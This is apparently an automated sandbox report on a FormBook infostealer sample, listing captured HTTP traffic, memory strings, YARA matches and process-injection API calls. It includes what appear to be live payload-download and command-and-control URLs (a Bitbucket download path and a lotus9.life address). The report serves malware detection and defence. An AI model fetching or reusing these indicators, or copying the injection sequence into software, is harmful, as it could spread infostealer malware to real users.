23 b6 b9 2b 5a ab 10 21 1d e9 8a f6 ce ce 8e 69 87 98 32 72 76 cd c0 77 1d 5f 34 2d fd a8 89 2f 23 16 09 b7 55 89 e5 c4 15 f1 50 08 cc e2 89 9e c3 5b 15 ee ba 15 36 8c 44 bf d0 55 e9 66 f0 b1 0c 4c 3b 8e 31 c3 74 bc 83 55 e4 bd fb 1c 6a 05 be 89 3f eb ab 15 46 e6 83 b5 3c 3e 10 d6 ae a1 3a b6 9b b1 1d 39 a1 6c 5b 67 9a a7 37 df ba f4 c6 95 37 36 cf 58 a7 76 1c bf 17 ec 98 32 e2 f6 68 43 75 b8 1c f0 1e 6b b1 fe d8 b7 a5 13 f8 b5 fa f5 bd b5 53 d6 99 ad ad f6 19 ab 69 65 42 32 61 0c 8b 43 f7 56 65 b1 98 5a d5 f2 b8 ef f4 45 2c cd ab 71 b5 5e 41 7f 11 45 41 f4 8c 03 1a 6c 15 63 e2 c8 6e 55 ca 82 e0 94 dc c9 63 d9 57 4e 7e 6e bd 08 31 f0 1b 59 24 7e 66 dd e6 07 95 f5 9b 7b 76 92 8e 96 86 6b 37 e8 4d 72 60 77 8d 10 be 62 fa 5f 87 dc d7 c9 c0 aa da 14 6c a7 9f 3a dd 41 c7 75 06 43 09 3c 90 2c 11 95 e5 a8 ce 9d 4e f6 80 44 ce b4 68 e9 19 e4 7b ce f6 d2 a1 86 1f 48 52 49 8a 5d 4c 94 7c 93 1c 25 8f 93 83 e4 09 4b be 4b f6 d3 8f f0 f1 7e 72 98 7e 9c de c4 e7 43 fc 1e 25 f7 92 7d 7a 7c 6f c5 ef c6 e1 5a 13 c1 a8 c3 b6 6b 10 6a 73 ac 0e a5 0c e3 8b 96 85 d8 33 11 bd 3a 18 fc a0 1f b8 6e b0 c3 fc 20 08 05 50 82 0f 88 03 a0 45 44 c0 33 8f 06 14 d3 9d 2e 82 7e 04 65 fe 4a b3 9b e9 47 e9 ad a6 c5 db 4d 0b eb 68 37 e7 16 33 10 9d 4e 16 e8 c6 4e c4 c3 10 42 33 03 cf b7 77 54 2c 76 10 0b 60 85 a5 9d 94 5b 86 41 2c c1 21 46 2c b9 74 6c 38 60 6e d6 19 5b 1b d9 fc e4 a7 d5 a9 35 e6 3c 62 28 6a a8 2c a6 8d e1 6a bb 19 2e 1f da 13 1a c4 88 d4 e7 77 55 b3 1b b5 93 43 ed ad e4 07 72 63 f2 83 72 ed c3 63 ce 9c b1 78 b8 6c d5 dd b1 94 81 1f e7 e6 c6 b2 4b 18 d0 0f a1 a5 fe 00 1f b8 41 d4 51 4e 16 be 4d 48 cb 1e c4 ce 35 d1 81 fb 3d ee 2a 5f 64 26 2d c6 17 e6 cb fa 2b bf 80 91 4b 22 42 de eb c1 4b 1d 97 80 33 0f 3c a2 67 0d 3e 6b 67 18 38 b1 b5 6e 0f 85 3d 6a ad f4 54 9a 58 c0 de 2b dc 0b d7 30 a4 13 07 e3 c8 16 ad 5c 03 e2 e5 4a fb d7 24 84 70 c8 ca cb a5 b0 29 ab af 88 bb 14 8d 27 2f a7 17 78 dc 29 e8 3d 0f 99 92 e6 ba 83 e5 8b 1d 6b 7d 2c bd 5c b3 45 ca d3 63 4a 30 63 2f 57 7c 85 9a 6c 2c 8a 3b 03 bf 15 c3 4c 7e af 03 51 27 af 33 f9 3b 60 f1 9f e4 80 a5 9f 26 47 e9 67 e9 2d 96 3c c8 49 e1 74 29 0e e3 90 fb 0b 10 1b 46 81 17 18 2
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:04:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 18 b6 45 52 79 38 fd e4 24 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ea ee 50 12 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d 27 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a db a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca fb 57 7e 61 9c c7 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 db 73 db 11 3b 61 10 c9 52 d7 1d a7 27 87 ad 9e d8 76 6c 61 a8 2f 0d c7 77 a4 c3 5d 23 b6 b9 2b 5a ab 10 21 1d e9 8a f6 ce ce 8e 69 87 98 32 72 76 cd c0 77 1d 5f 34 2d fd a8 89 2f 23 16 09 b7 55 89 e5 c4 15 f1 50 08 cc e2 89 9e c3 5b 15 ee ba 15 36 8c 44 bf d0 55 e9 66 f0 b1 0c 4c 3b 8e 31 c3 74 bc 83 55 e4 bd fb 1c 6a 05 be 89 3f eb ab 15 46 e6 83 b5 3c 3e 10 d6 ae a1 3a b6 9b b1 1d 39 a1 6c 5b 67 9a a7 37 df ba f4 c6 95 37 36 cf 58 a7 76 1c bf 17 ec 98 32 e2 f6 68 43 75 b8 1c f0 1e 6b b1 fe d8 b7 a5 13 f8 b5 fa f5 bd b5 53 d6 99 ad ad f6 19 ab 69 65 42 32 61 0c 8b 43 f7 56 65 b1 98 5a d5 f2 b8 ef f4 45 2c cd ab 71 b5 5e 41 7f 11 45 41 f4 8c 03 1a 6c 15 63 e2 c8 6e 55 ca 82 e0 94 dc c9 63 d9 57 4e 7e 6e bd 08 31 f0 1b 59 24 7e 66 dd e6 07 95 f5 9b 7b 76 92 8e 96 86 6b 37 e8 4d 72 60 77 8d 10 be 62 fa 5f 87 dc d7 c9 c0 aa da 14 6c a7 9f 3a dd 41 c7 75 06 43 09 3c 90 2c 11 95 e5 a8 ce 9d 4e f6 80 44 ce b4 68 e9 19 e4 7b ce f6 d2 a1 86 1f 48 52 49 8a 5d 4c 94 7c 93 1c 25 8f 93 83 e4 09 4b be 4b f6 d3 8f f0 f1 7e 72 98 7e 9c de c4 e7 43 fc 1e 25 f7 92 7d 7a 7c 6f c5 ef c6 e1 5a 13 c1 a8 c3 b6 6b 10 6a 73 ac 0e a5 0c e3 8b 96 85 d8 33 11 bd 3a 18 fc a0 1f b8 6e b0 c3 fc 20 08 05 50 82 0f 88 03 a0 45 44 c0 33 8f 06 14 d3 9d 2e 82 7e 04 65 fe 4a b3 9b e9 47 e9 ad a6 c5 db 4d 0b eb 68 37 e7 16 33 10 9d 4e 16 e8 c6 4e c4 c3 10 42 33 03 cf b7 77 54 2c 76 10 0b 60 85 a5 9d 94 5b 86 41 2c c1 21 46 2c b9 74 6c 38 60 6e d6 19 5b 1b d9 fc e4 a7 d5 a9 35 e6 3c 62 28 6a a8 2c a6 8d e1 6a bb 19 2e 1f da 13 1a c4 88 d4 e7 77 55 b3 1b b5 93 43 ed ad e4 07 72 63 f2 83 72 ed c3 63 ce 9c b1 78 b8 6c d5 dd b1 94 81 1f e7 e6 c6 b2 4b 18 d0 0f a1 a5 fe 00 1f b8 41 d4 51 4e 16 be 4d 48 cb 1e c4 ce 35 d1 81 fb 3d ee 2a 5f 64 26 2d c6 17 e6 cb fa 2b bf 80 91 4b 22 42 de eb c1 4b 1d 97 80 33 0f 3c a2 67 0d 3e 6b 67 18 38 b1 b5 6e 0f 85 3d 6a ad f4 54 9a 58 c0 de 2b dc 0b d7 30 a4 13 07 e3 c8 16 ad 5c 03 e2 e5 4a fb d7 24 84 70 c8 ca cb a5 b0 29 ab af 88 bb 14 8d 27 2f a7 17 78 dc 29 e8 3d 0f 99 92 e6 ba 83 e5 8b 1d 6b 7d 2c bd 5c b3 45 ca d3 63 4a 30 63 2f 57 7c 85 9a 6c 2c 8a 3b 03 bf 15 c3 4c 7e af 03 51 27 af 33 f9 3b 60 f1 9f e4 80 a5 9f 26 47 e9 67 e9 2d 96 3c c8 49 e1 74 29 0e e3 90 fb 0b 10 1b 46 81 17 18 2
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:04:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 34 66 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 63 70 61 6d 65 72 69 78 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 20 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 5f 62 67 5f 6c 69 67 68 74 22 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 5f 74 79 70 65 5f 72 64 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 6e 6f 74 65 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d0 b
Source: ObMmiCfBgqmt.exe, 0000000E.00000002.2494174819.0000000004C92000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.lotus9.life
Source: ObMmiCfBgqmt.exe, 0000000E.00000002.2494174819.0000000004C92000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.lotus9.life/t67j/
Source: z10982283782.exe, z10982283782.exe, 00000000.00000003.1236423933.0000000002900000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236633827.000000007F8FF000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1351975173.00000000028F7000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1416330856.000000007FA2F000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.pmail.com
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1349705581.0000000000740000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1311465099.0000000000745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aui-cdn.atlassian.com/
Source: z10982283782.exe, 00000000.00000003.1283909227.000000000073D000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1284189717.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paa
Source: z10982283782.exe, 00000000.00000002.1349705581.0000000000740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paaF
Source: z10982283782.exe, 00000000.00000003.1311465099.0000000000745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paaj
Source: z10982283782.exe, 00000000.00000003.1311465099.0000000000745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1283864027.0000000000779000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: z10982283782.exe, 00000000.00000002.1349705581.000000000074E000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1311465099.0000000000752000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: z10982283782.exe, 00000000.00000003.1283909227.000000000073D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/%
Source: z10982283782.exe, 00000000.00000002.1385371181.00000000215EC000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1385371181.00000000215EA000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1311465099.0000000000733000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/1889f89b-bf3e-4330-a7ab-fccb77ce4890/downloads/a122b37b-2be1-
Source: z10982283782.exe, 00000000.00000002.1349705581.000000000074E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/S
Source: z10982283782.exe, 00000000.00000002.1349705581.0000000000777000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com:443/1889f89b-bf3e-4330-a7ab-fccb77ce4890/downloads/a122b37b-2
Source: z10982283782.exe, 00000000.00000003.1283909227.0000000000727000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1349705581.000000000072D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/Q
Source: z10982283782.exe, 00000000.00000002.1384175614.00000000209E8000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1349705581.00000000006EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/akeem4u/canter/downloads/233_Ltspwqrtysw
Source: z10982283782.exe, 00000000.00000002.1349705581.00000000006EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/akeem4u/canter/downloads/233_LtspwqrtyswX
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1349705581.0000000000740000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1311465099.0000000000745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.cookielaw.org/
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1283864027.0000000000779000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-
Source: takeown.exe, 0000000D.00000002.2488818800.0000000000964000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: takeown.exe, 0000000D.00000002.2488818800.0000000000964000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: takeown.exe, 0000000D.00000002.2488818800.0000000000964000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: takeown.exe, 0000000D.00000002.2488818800.0000000000964000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: takeown.exe, 0000000D.00000002.2488818800.0000000000964000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: takeown.exe, 0000000D.00000002.2488818800.0000000000964000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: takeown.exe, 0000000D.00000003.1712574823.0000000007720000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.cpamerix.online&rand=
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://reg.ru
Source: z10982283782.exe, 00000000.00000002.1349705581.0000000000740000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1311465099.0000000000745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://remote-app-switcher.prod-east.frontend.
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: z10982283782.exe, 00000000.00000003.1311376015.0000000000778000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1283864027.0000000000779000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: takeown.exe, 0000000D.00000003.1716978665.000000000774D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.cpamerix.online&utm_medium=parking&utm_campaign=s_land_
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.cpamerix.online&utm_medium=parking&utm_campaign=s_land
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.cpamerix.online&utm_medium=parking&utm_campaign=s_land_ho
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.reg.ru/sozdanie-saita/
Source: takeown.exe, 0000000D.00000002.2492977299.000000000407C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000323C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.cpamerix.online&amp;reg_source=parking_auto
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown HTTPS traffic detected: 3.5.3.65:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 3.5.3.65:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 54.231.236.129:443 -> 192.168.2.7:49713 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.1523878243.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2494174819.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1523941389.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2488106328.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491687518.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491841213.0000000000B80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2492246864.0000000005060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1539377405.0000000025240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 10.2.colorcpl.exe.65f0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.colorcpl.exe.65f0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.1523878243.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.2494174819.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.1523941389.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2488106328.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2491687518.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2491841213.0000000000B80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2492246864.0000000005060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.1539377405.0000000025240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Contains functionality to call native functions
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAB118 GetModuleHandleW,NtOpenProcess,IsBadReadPtr,IsBadReadPtr,GetModuleHandleW,NtCreateThreadEx, 0_2_02AAB118
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA7A2C NtAllocateVirtualMemory, 0_2_02AA7A2C
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA7D78 NtWriteVirtualMemory, 0_2_02AA7D78
